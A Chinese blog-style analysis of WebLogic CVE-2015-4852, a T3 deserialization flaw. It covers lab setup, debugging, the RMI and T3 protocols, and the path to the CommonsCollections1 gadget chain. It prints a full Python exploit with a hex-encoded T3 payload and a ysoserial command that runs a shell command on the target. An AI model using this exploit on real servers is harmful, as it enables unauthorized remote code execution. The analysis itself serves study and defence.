weblogic之cve-2015-4852
前言
有时间打算分析weblogic历史漏洞,但是又要面试啥的,没空。又刚好最近面试会问weblogic反序列化。具体啥时候分析weblogic反序列化,可能会在护网后,或者我开学了再分析。期间可能我会分析一下fastjson的吧。环境我都打包到附件中
0x01、环境搭建
不想动手去下载的,可以去网盘这边,我已经打包好了
链接:https://pan.baidu.com/s/1bOo82tAIC0ia95Z0nKQp5w
提取码:1234
复制这段内容后打开百度网盘手机App,操作更方便哦
漏洞环境:https://github.com/QAX-A-Team/WeblogicEnvironment
jdk:https://www.oracle.com/java/technologies/javase/javase7-archive-downloads.html
weblogic:
链接:https://pan.baidu.com/s/1I3FUCkuD7lfwdEFo1Yg5hQ
提取码:ungx
docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar -t weblogic1036jdk7u21 .
docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21
然后在这里需要去将一些weblogic的依赖Jar包给导出来进行远程调试
docker exec -it weblogic1036jdk7u21 /bin/bash
cd /u01/app/oracle/
cp -r middleware/ /root/WeblogicEnvironment-master/
也可以使用如下命令
docker cp 363:/root .
mkdir jar_lib
find ./ -name *.jar -exec cp {} jar_lib/ \;
这边就导出成功了
0x02、Weblogic远程调试
第一步
修改docker-compose.yml文件,开启8453端口
第二步
cd u01/app/oracle/Domains/ExampleSilentWTDomain/bin/
vi setDomainEnv.sh
添加两行代码
debugFlag="true"
export debugFlag
这个环境是默认就有了,所以这边只是讲一下
最后差不多就这样了,还有其他地方就参考网上文章,我就不一一讲解了
docker exec -it weblogic1036jdk7u21 /bin/bash //进入docker
地址为:http://192.168.92.130:7001/console/login/LoginForm.jsp
0x03、RMI通信
在了解RMI前还需要弄懂一些概念。
RMI(RemoteMethodInvocation,远程方法调用)是用Java在JDK1.2中实现的,它大大增强了Java开发分布式应用的能力。
Java本身对RMI规范的实现默认使用的是JRMP协议,也可以选择IIOP协议。而在Weblogic中对RMI规范的实现使用T3协议。
JRMP:JavaRemoteMessageProtocol,Java远程消息交换协议。这是运行在Java RMI之下、TCP/IP之上的线路层协议。该协议要求服务端与客户端都为Java编写,就像HTTP协议一样,规定了客户端和服务端通信要满足的规范。
RMI(Remote Method Invocation)即Java远程方法调用,RMI用于构建分布式应用程序,RMI实现了Java程序之间跨JVM的远程通信。顾名思义,远程方法调用:客户端比如说是在手机,然后服务端是在电脑;同时都有java环境,然后我要在手机端调用服务端那边的某个方法,这就是,远程方法调用;
使用RMI的时候,客户端对远程方法的调用就跟对同一个Java虚拟机(也就是本地)上的方法调用是一样的。一般调用和RMI调用有一点不同,虽然对客户端来说看起来像是本地的,但是客户端的stub会通过网络发出调用,所以会抛出异常;其中还是会涉及到Socket和串流的问题,一开始是本地调用,然后就代理(stub)会转成远程,中间的信息是如何从Java虚拟机发送到另外一台Java虚拟机要看客户端和服务端的辅助设施对象所用的协议而定;使用RMI的时候,需要选择协议:JRMP或IIOP协议;JRMP是RMI的原生的协议,也就是默认JRMP协议。而IIOP是为了CORBA而产生的~~~
远程方法调用,具体怎么实现呢?
远程服务器提供具体的类和方法,本地会通过某种方式获得远程类的一个代理,然后通过这个代理调用远程对象的方法,方法的参数是通过序列化与反序列化的方式传递的,所以,
1. 只要服务端的对象提供了一个方法,这个方法接收的是一个Object类型的参数
2. 且远程服务器的classpath中存在可利用pop链,那么我们就可以通过在客户端调用这个方法,并传递一个精心构造的对象的方式来攻击rmi服务。
某种方式获得远程对象的代理,那么具体是怎么的实现机制呢?RMI模式中除了有Client与Server,还借助了一个Registry(注册中心)。
其中Server与Registry可以在同一服务器上实现,也可以布置在不同服务器上,现在一个完整的RMI流程可以大概描述为:
- Registry先启动,并监听一个端口,一般为1099
- Server向Registry注册远程对象
- Client从Registry获得远程对象的代理(这个代理知道远程对象的在网络中的具体位置:ip、端口、标识符),然后Client通过这个代理调用远程方法,Server也是有一个代理的,Server端的代理会收到Client端的调用的方法、参数等,然后代理执行对应方法,并将结果通过网络返回给Client。
直接看图,话不多说
RMI调用远程方法的大致如下:
RMI客户端
在调用远程方法时会先创建Stub(sun.rmi.registry.RegistryImpl_Stub)
。Stub
会将Remote
对象传递给远程引用层(java.rmi.server.RemoteRef)
并创建java.rmi.server.RemoteCall(远程调用)
对象。RemoteCall
序列化RMI服务名称
、Remote
对象。RMI客户端
的远程引用层
传输RemoteCall
序列化后的请求信息通过Socket
连接的方式传输到RMI服务端
的远程引用层
。RMI服务端
的远程引用层(sun.rmi.server.UnicastServerRef)
收到请求会请求传递给Skeleton(sun.rmi.registry.RegistryImpl_Skel#dispatch)
。Skeleton
调用RemoteCall
反序列化RMI客户端
传过来的序列化。Skeleton
处理客户端请求:bind
、list
、lookup
、rebind
、unbind
,如果是lookup
则查找RMI服务名
绑定的接口对象,序列化该对象并通过RemoteCall
传输到客户端。RMI客户端
反序列化服务端结果,获取远程对象的引用。
而更通俗点来说:
1. 客户端请求代理
2. Stub编码处理消息
3. 消息传输
4. 到达管家skeleton并处理信息
5. 管家skeleton把信息提交给server
6. server接收到请求
7. server把请求的结果给管家
8. 管家skeleton把结果转交给stub
9. 代理Stub对结果解码
10. Stub把解码的结果交给client。
具体可以参考该文章RMI由浅入深(一),那么我们知道了什么是RMI通信。RMI就是对服务器上的方法进行调用。那么weblogic上的RMI呢,在此处的cve-2015-4852
是基于RMI T3协议反序列化导致的漏洞。两者有什么区别吗?
两者其实是一样的。只是weblogic这边的rmi通信用T3协议,只是优化了java rmi。T3传输协议是WebLogic的自有协议,Weblogic RMI就是通过T3协议传输的(可以理解为序列化的数据载体是T3)。
Java RMI默认使用的专有传输协议(或者也可以叫做默认协议)是JRMP,Weblogic RMI默认使用的传输协议是T3。T3协议对序列化的过程,包括一些特性,心脏跳动等等,进行了一些列优化,并且对rmi客户端量进行了增加等等
0x04、从历史长河探究cve-2015-4852
摘取一张图,具体从哪里拿的,我也给忘记了,翻阅了太多文章了。可以看出这个cve-2015-4852是这些的祖宗。那我们从这个祖宗开始分析。从漏洞类型这边看,我们知道这个是T3反序列化漏洞,也就是说,是因为T3协议,从而导致的反序列化漏洞;那我们无可避免的去看看T3协议是什么东西
1、T3协议概述
WebLogic Server 中的 RMI 通信使用 T3 协议在 WebLogic Server 和其他 Java 程序(包括客户端及其他 WebLogic Server 实例)间传输数据。同时T3协议包括
- 请求包头
- 请求主体
因此,在T3数据包构造过程中,需要发送两部分的数据。
我们通过部署好的环境,以及现成的payload,去看看这个协议包情况
2、T3协议
t3 12.2.1
AS:255
HL:19
MS:10000000
PU:t3://us-l-breens:7001
可以看出这是它的请求头。,本文测试时发送的T3协议头为
t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n
第一行为“t3”加weblogic客户端的版本号。
weblogic服务器的返回数据为
HELO:10.3.6.0.false\nAS:2048\nHL:19\n\n
第一行为“HELO:”加weblogic服务器的版本号
weblogic客户端与服务器发送的数据均以“\n\n”结尾。
可能会问这个地方和其他地方的T3协议怎么不一样?因为我用的exp中,它是伪造自定义了请求包的。可参考文章。
也就是说,如何判断对方是否使用T3协议等等,可以对服务器进行发包,发送请求头,对方则会返回weblogic服务器版本
3、T3攻击方式
- 第一种:将weblogic发送的java序列化数据的地2到第7部分的反序列化数据进行替换
- 第二种:将weblogic发送的JAVA序列化数据的第一部分与恶意的序列化数据进行拼接。也就是替换第一部分的数据
以上来自网上文献:http://drops.xmd5.com/static/drops/web-13470.html
那么我们就来验证一下,由于我此处是现成exp,所以进行替换序列化数据进行攻击的时候,可能数量不一样
也就是说,我们的发送的T3协议,可以简单的理解为两部分:非序列化数据,和序列化数据。而序列化部分又以ac ed继续进行划分
0x05、cve-2015-4852 分析
现在我们理论概念了解的差不多了,我们这边就验证一下序列化内容是否跟我们猜想的一致
python exp代码:
#!/usr/bin/python
import socket
import struct
import sys
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_address = (sys.argv[1], int(sys.argv[2]))
print 'connecting to %s port %s' % server_address
sock.connect(server_address)
# Send headers
headers='t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n'
print 'sending "%s"' % headers
sock.sendall(headers)
data = sock.recv(1024)
print >>sys.stderr, 'received "%s"' % data
payloadObj = open(sys.argv[3],'rb').read()
payload='\x00\x00\x09\xe4\x01\x65\x01\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x71\x00\x00\xea\x60\x00\x00\x00\x18\x43\x2e\xc6\xa2\xa6\x39\x85\xb5\xaf\x7d\x63\xe6\x43\x83\xf4\x2a\x6d\x92\xc9\xe9\xaf\x0f\x94\x72\x02\x79\x73\x72\x00\x78\x72\x01\x78\x72\x02\x78\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x70\x70\x70\x70\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x06\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x03\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x03\x78\x70\x77\x02\x00\x00\x78\xfe\x01\x00\x00'
payload=payload+payloadObj
payload=payload+'\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x21\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x65\x65\x72\x49\x6e\x66\x6f\x58\x54\x74\xf3\x9b\xc9\x08\xf1\x02\x00\x07\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x74\x00\x27\x5b\x4c\x77\x65\x62\x6c\x6f\x67\x69\x63\x2f\x63\x6f\x6d\x6d\x6f\x6e\x2f\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2f\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\x3b\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x56\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x97\x22\x45\x51\x64\x52\x46\x3e\x02\x00\x03\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x71\x00\x7e\x00\x03\x4c\x00\x0e\x72\x65\x6c\x65\x61\x73\x65\x56\x65\x72\x73\x69\x6f\x6e\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x5b\x00\x12\x76\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x41\x73\x42\x79\x74\x65\x73\x74\x00\x02\x5b\x42\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x71\x00\x7e\x00\x05\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x05\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x05\x78\x70\x77\x02\x00\x00\x78\xfe\x00\xff\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x46\x21\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\x00\x0b\x75\x73\x2d\x6c\x2d\x62\x72\x65\x65\x6e\x73\xa5\x3c\xaf\xf1\x00\x00\x00\x07\x00\x00\x1b\x59\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x78\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x1d\x01\x81\x40\x12\x81\x34\xbf\x42\x76\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\xa5\x3c\xaf\xf1\x00\x00\x00\x00\x00\x78'
print 'sending payload...'
payload = "{0}{1}".format(struct.pack('!i', len(payload)), payload[4:])
#print len(payload)
outf = open('pay.tmp','w')
outf.write(payload)
outf.close()
sock.send(payload)
yso生成恶意代码:
java -jar ysoserial.jar CommonsCollections1 "touch /file/22222.txt" > payload.tmp
python2 exp.py 192.168.92.130 7001 payload.tmp
根据补丁位置,是在这几个地方进行添加判断,那我们直接在InboundMsgAbbrev#readObject()
下断点。因为要rce的话必须要readObject()
进行反序列化
wlthint3client.jar:weblogic.rjvm.InboundMsgAbbrev
wlthint3client.jar:weblogic.rjvm.MsgAbbrevInputStream
weblogic.jar:weblogic.iiop.Utils
我们在InboundMsgAbbrev
类中,Ctrl+f查找readObject,然后在此处下断点。
然后使用exp去发送恶意请求,然后我们去看看断点位置
可以看出这边var1
里面存储的是我们请求的内容,然后调用read()
方法,赋值给var2
.
我们进入read()
看看是什么东西
这边为-1,所以会调用父类的read()方法,那么我们看看这个类继承了什么父类
所以我们知道它会跳到ChunkedDataInputStream#read()
方法中。我们F7跟进去查看
这边我们可以思考是不是这些序列化数据的大小呢?
因为是false,所以直接跳过这个条件,进入了return;
然后返回给了var2中
此处通过switch对var2
值进行判断,此处为0,所以进入了第一个条件语句
return (new InboundMsgAbbrev.ServerChannelInputStream(var1)).readObject();
那么我们先进入InboundMsgAbbrev#ServerChannelInputStream()
中查看虚实
进入后,继续深入getServerChannel()
this.connection
之中存储着一些连接的数据,如地址,端口等等,然后调用getChannel()
,这边是处理T3协议的socket地方;我们F7跟进查看
我们进入之后可以看到还有静态代码块,而这静态代码块则是服务器返回过来的版本,我们继续看看
随后会return 回这串地址,端口信息。我们再f8返回
我们跳了三层,返回到之前的路口点,那么接下来我们就是进入InboundMsgAbbrev#readObject()
中
此处我们跳到了read()
当中,因为前面的不重要,我们也不需要深究了
这边再次进入到父类中的read()
方法中,我们依旧进入到了ChunkedInputStream# read()
,该方法主要是读取head数据也就是我们发送的包
随后继续返回到了上一步
几次的F7和F8后,进入了read(byte[] var1, int var2, int var3)
中
因为条件不成立,所以继续进入return当中,我们F7跟进
往后执行,可以发现这几个方法是对数据流进行分块处理,将序列化部分分块,依次解析每块的类,然后去执行
我们直接在InboundMsgAbbrev#resolveClass()
方法下个断点,而此处,也就是打补丁的地方,此处打上补丁,从而出现了cve-2016-0638;这是后话。而我们看到了AnnotationInvocationHandler
。这不就是CC1中的反序列化入口点吗,我们进入看看
可以看到一个很有意思的地方,那就是Class.forname()
,通过反射获取加载指定的类。
而这之后执行,我们可以发现这些获取的都是CC1利用链中所需要的类。这就很有意思了~~
F9不断的执行结束后可以发现,这边创建了该文件。那么我们重新发包一下,直到遇到java.lang.Override
不按F9了。我们直接F7一步步慢慢的看
我们可以看到这不就是CC1链中的触发方法吗??这里就很佩服大佬们了
0x05 漏洞原理与总结
从入口点开始weblogic.rjvm.InboundMsgAbbrev#readObject
方法开始。通过read()
方法,读取T3数据流的序列化部分依次分块解析类。InboundMsgAbbrev#resolveClass()
内部使用Class.forName
来从类序列化获取到对应类的一个Class的对象。进行相对应的点实例化并读取了AnnotationInvocationHandler
触发了此处CC1的利用链。最后在AbstractMapDecorator#entrySet()
方法触发,达到了rce目的。此漏洞之后有必要再看看,咳咳